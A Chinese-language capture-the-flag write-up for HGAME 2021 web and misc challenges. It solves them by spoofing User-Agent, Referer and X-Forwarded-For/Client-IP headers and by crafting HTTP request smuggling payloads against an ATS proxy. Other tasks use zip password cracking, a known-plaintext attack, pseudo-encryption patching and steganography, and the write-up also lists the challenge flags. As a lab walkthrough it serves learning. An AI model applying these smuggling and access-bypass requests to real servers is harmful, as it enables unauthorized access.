访问页面,提示“我要搭顺风车!”,打开burpsuite抓包重放,提示405
将GET方法改为POST方法重放,提示“只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~”
修改User-agent头为:Infinite Improbability Drive
再次重放,提示“特别要求:你得从他的Cardinal
过来”
修改Referer为:https://cardinal.ink/
再次重放,提示“flag仅能通过本地访问获得”
新增X-forwarded-for字段,值为127.0.0.1,拿到flag
hgame{s3Cret_0f_HitCHhiking_in_the_GAl@xy_i5_dOnT_p@nic!}
结束一次游戏,发现大于2000分才会返回flag,在project.js中搜索1999,有一个判断,会alert一个字符串
用base64解码:aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99
得到flag:hgame{do_you_know_cocos_game?}
另附一个有意思的分析:https://www.zhihu.com/question/440727080/answer/1699641717
访问题目,提示SECRET_DATA只能本地访问
点击超链接跳转到/secret,发现响应包中提示需要client-ip
头
将client-ip改为127.0.0.1,发现也不可以,猜测是反代会将真实ip带到后面,同时可以看到服务是ATS/7.1.2,可以联想到HTTP走私
想要详细了解http走私的可以参考文章:
https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc7
和
https://paper.seebug.org/1048/#511-te-cl
同时也可以了解一下分块传输格式:
使用文章中的不同方法构造http走私请求包
方法一(三个图以示区分,可以自行尝试):
发现都是ax+b的定积分,使用sympy库写一个爬虫脚本
脚本如下:
from lxml import etree
from sympy import *
import requests
import json
s = requests.session()
step: int = 0
while true:
q = s.get('http://r4u.top:5000/api/getQuestion')
q = json.loads(q.text)['question']
q = etree.HTML(q)
a = q.xpath('//math/mrow/msubsup/mrow[1]/mo/text()')[0]
b = q.xpath('//math/mrow/msubsup/mrow[1]/mn/text()')[0]
c = q.xpath('//math/mrow/msubsup/mrow[2]/mn/text()')[0]
d = q.xpath('//math/mrow/mn[1]/text()')[0]
e = q.xpath('//math/mrow/mn[2]/text()')[0]
x = symbols('x')
x = integrate(int(d) * x + int(e), (x, int(a + b), int(c)))
x = round(x, 2)
header = {
"Content-Type": "application/json;charset=UTF-8"
}
res = s.post('http://r4u.top:5000/api/verify', data='{"answer":' + (daan := str(round(x, 2))) + '}', headers=header)
step += 1
print(step, a, b, c, d, e, daan, json.loads(res.text)["result"])
if step == 100:
flag = s.get('http://r4u.top:5000/api/getFlag')
flag = json.loads(flag.text)
print("flag:", flag["flag"])
break
同样也是http走私,尝试上面那题的一样的包,提示状态码400,发现一个请求中不能有两个Host
并且他会自动添加Client-IP
,此时发送的第二个请求会变为
GET /secret HTTP/1.1
Client-IP:127.0.0.1
foo:GET / HTTP/1.1
Host: police.liki.link
Content-Length : 47
Client-IP: 你的真实ip
后面的Client-IP会覆盖前面的,就会回显你的真实ip,所以需要这样构造请求
这时候发送的第二个请求拼接完会变为,后面全变成了请求体
GET /secret HTTP/1.1
Host: police.liki.link
client-ip: 127.0.0.1
Content-Length:200
GET / HTTP/1.1
Host: police.liki.link
Content-Length : 90
GET /secret HTTP/1.1
Host: police.liki.link
client-ip: 127.0.0.1
Content-Length:200
拿到flag
hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}
base64:
R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09
base32:
GY4DMNZWGE3EINRVG5BDKNZWGUZTCNRTGMYDMRBWGU2UMNZUGMYDKRRUHA2DOMZUGRCDGMZVIYZTEMZQGMZDGMJXIQ======
from hex:
6867616D657B57653163306D655F74305F4847344D335F323032317D
flag:
hgame{We1c0me_t0_HG4M3_2021}
binwalk -e 0x4qE_bba7407dbadcd35fd0915ffdac4b74c5.jpg 分离图片中的zip
发现压缩包需要输入密码,以图搜图或直接用ARCHPR爆破8位数字解开,密码为:70415155
发现里面又套了一个加密plain.zip压缩包,并且有明文NO PASSWORD.txt文件,在加密的plain.zip里也存在一个NO PASSWORD.txt,且CRC32相同,可以联想到已知明文攻击
,将明文NO PASSWORD.txt单独压缩成NO PASSWORD.zip,压缩方式如图
回到ARCHPR选择已知明文攻击,拿到密码:C8uvP$DP
解压出flag.zip,发现是伪加密,用010editor打开,距文件头50 4B 03 04的偏移为6个字节的09改为00,距核心目录区头50 4B 01 02的偏移为8个字节的01改为00,即可打开
将flag.txt放到010editor中,发现为HTML实体编码,解码拿到flag
hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}
Wireshark导出http对象,可以见到一个galaxy.png,修改高度(蓝色位置),flag就出现了
拿到压缩包,用7zip打开first.docx(或者直接修改后缀为.zip打开),在word目录下存在password.xml,可以联想到为brainfuck编码
解码工具:https://www.splitbrain.org/services/ook
解码后得到maimai.docx的密码DOYOUKNOWHIDDEN?
打开word,勾选文件-选项-显示-隐藏文字,发现了一段由tab和空格
组成的内容,将其框选-右键-字体,取消勾选隐藏
将其复制到编辑器内(图省事直接扔到vscode里保存为target.c
了)
使用stegsnow
工具解出flag
hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}